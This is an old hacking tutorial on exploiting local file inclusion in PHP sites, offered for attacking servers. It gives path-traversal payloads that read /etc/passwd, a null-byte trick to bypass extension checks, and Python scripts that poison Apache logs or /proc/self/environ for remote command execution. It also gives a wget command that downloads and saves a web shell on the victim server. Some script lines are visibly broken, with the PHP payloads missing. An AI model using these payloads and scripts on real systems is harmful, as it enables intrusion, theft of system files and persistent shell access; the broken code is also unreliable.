LOCAL FILE INCLUSIONS by G-Brain Recommended knowledge: PHP, Unix, strings Websites often use an include() system to display their pages, even more often this system is insecure. A practical example: index.php: which would result in a website with links such as: index.php?page=about.php index.php?page=news.php The simplest way to see if a script is vulnerable to local file inclusion, is this: index.php?page=../../../../../../../../../etc/passwd Where ../ causes the script to move up one directory, multiple ../ cause the script to move to the top level directory (/, the root of the filesystem) and /etc/passwd is the Unix passwd file. The result should look something like this: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh ...on and on and on. This also works for scripts such as this one: index.php which merely adds a directory. Another, more stealthy way of checking for local file inclusions is the following: Imagine a website using the script above: index.php?page=news.php We don't have the script, so we don't know the pages are in the /pages directory. However, we can see where the script gets the file from by brute force, like this: /news.php /pages/news.php /page/news.php /includes/news.php /include/news.php /files/news.php /file/news.php ...et cetera. which should result in either the news being displayed, or a custom error that is raised because the file was accessed directly, and not included by index.php We could also do this by checking directories: /pages/ /includes/ ...et cetera which should result in either a directory listing, an empty page, a custom "Get the fuck out" page, or a 403 "Permission denied" error, which means you got it right. It's also possible that the admin has "secured" his script, like this: which does nothing but adding a ".php" extension, so links are going to look like this: index.php?page=news index.php?page=about which looks a lot more secure, but in this case: isn't. We can now do something like... index.php?page=../../../../../../../../../../etc/passwd%00 and still include a local file. The trick here, is to add a null byte, a string terminator to the end of our file, so the rest of it (the ".php") will be discarded: results in: Anyway, the point of a local file inclusion is that you include a file that has your PHP code in it. For this, we're going to need access to a local file, now how are we going to do that? We have multiple options: - Inject PHP code into the Apache access_log - Use the /proc/self/environ I'll go over them in the listed order. The Apache access_log is a file that logs all requests to the web server. Here's a list of common access_log locations: /usr/local/apache/logs/ /var/log/apache2/ /var/log/apache/ /etc/httpd/logs/ /var/www/logs/ /var/log/httpd/ /apache/logs/ /var/log/ The file is usually named either access_log, or access.log, and it looks something like this: 127.0.0.1 - - [24/Mar/2008:12:52:35 +0000] "GET /abusing_software/file_inclusions.txt HTTP/1.1" 200 3051 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080129 Iceweasel/2.0.0.12 (Debian-2.0.0.12-0etch1)" "-" The important thing about this file is: we can change a lot of the things that are saved in it, more specifically: the GET request and the User-Agent. For example, we could GET / or use as our User-Agent. To make a malformed GET request, we can use the following script: php_rce_get.py import socket host = 'www.g-brain.net' php = '' ua = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' logSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) logSocket.connect((host,80)) logSocket.send('GET /%s\r\n' % php) logSocket.send('User-Agent: %s\r\n' % ua) logSocket.send('Host: %s\r\n' % host) logSocket.send('Connection: close\r\n\r\n') logSocket.close() Doing this with a browser is unlikely to work, as it will URLencode the request, screwing up our PHP. To change our User-Agent, we can either use a browser extension such as User Agent Switcher for Firefox, or we could use this script: php_rce_ua.py import socket host = 'www.g-brain.net' php = '' logSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) logSocket.connect((host,80)) logSocket.send('GET /\r\n') logSocket.send('User-Agent: \r\n' % php) logSocket.send('Host: %s\r\n' % host) logSocket.send('Connection: close\r\n\r\n') logSocket.close() The point is: we can now include the access_log again, append "&cmd=SHELL COMMAND HERE" to the URL and have remote command execution on the server. For example, after injecting into an access_log: index.php?page=../../../../../../../../var/log/httpd/access_log&cmd=ls should result in the output of "ls" being displayed somewhere on screen. Now, for someting useful, execute the following command: wget http://www.g-brain.net/fish.txt -O fish.php;rm wget-log The command should be pretty straightforward: it fetches http://www.g-brain.net/fish.txt, saves it to fish.php and removes the wget-log. The result: a shell on the server, saved in fish.php The other method, is to include /proc/self/envron (which is a file on the /proc pseudo-filesystem representing the environment variables used by the process reading the file, in our case: the current PHP process) One of these environment variables is HTTP_USER_AGENT, the User-Agent string sent by the browser of the current visitor: you. We can change this string using either the aforementioned Firefox extension, or a Python script like this: php_rce_proc_self_environ.py import urllib2 url = 'http://www.g-brain.net/index.php?page=../../../proc/self/environ' cmd = 'wget http://www.g-brain.net/fish.txt -O fish.php;rm wget-log' cmdURL = + "&cmd=" + urllib.quote(cmd) request = urllib2.Request(cmdURL,None,{'User-Agent': 'PHP_RCE: '}) try: response = urllib2.urlopen(request) except: print "Connection error" try: resultHTML = response.read() except: print "Socket error" if resultHTML.find("PHP_RCE") >= 0: print "Command execution successful, shell uploaded" else: print "Command execution failed" The result: a shell in fish.php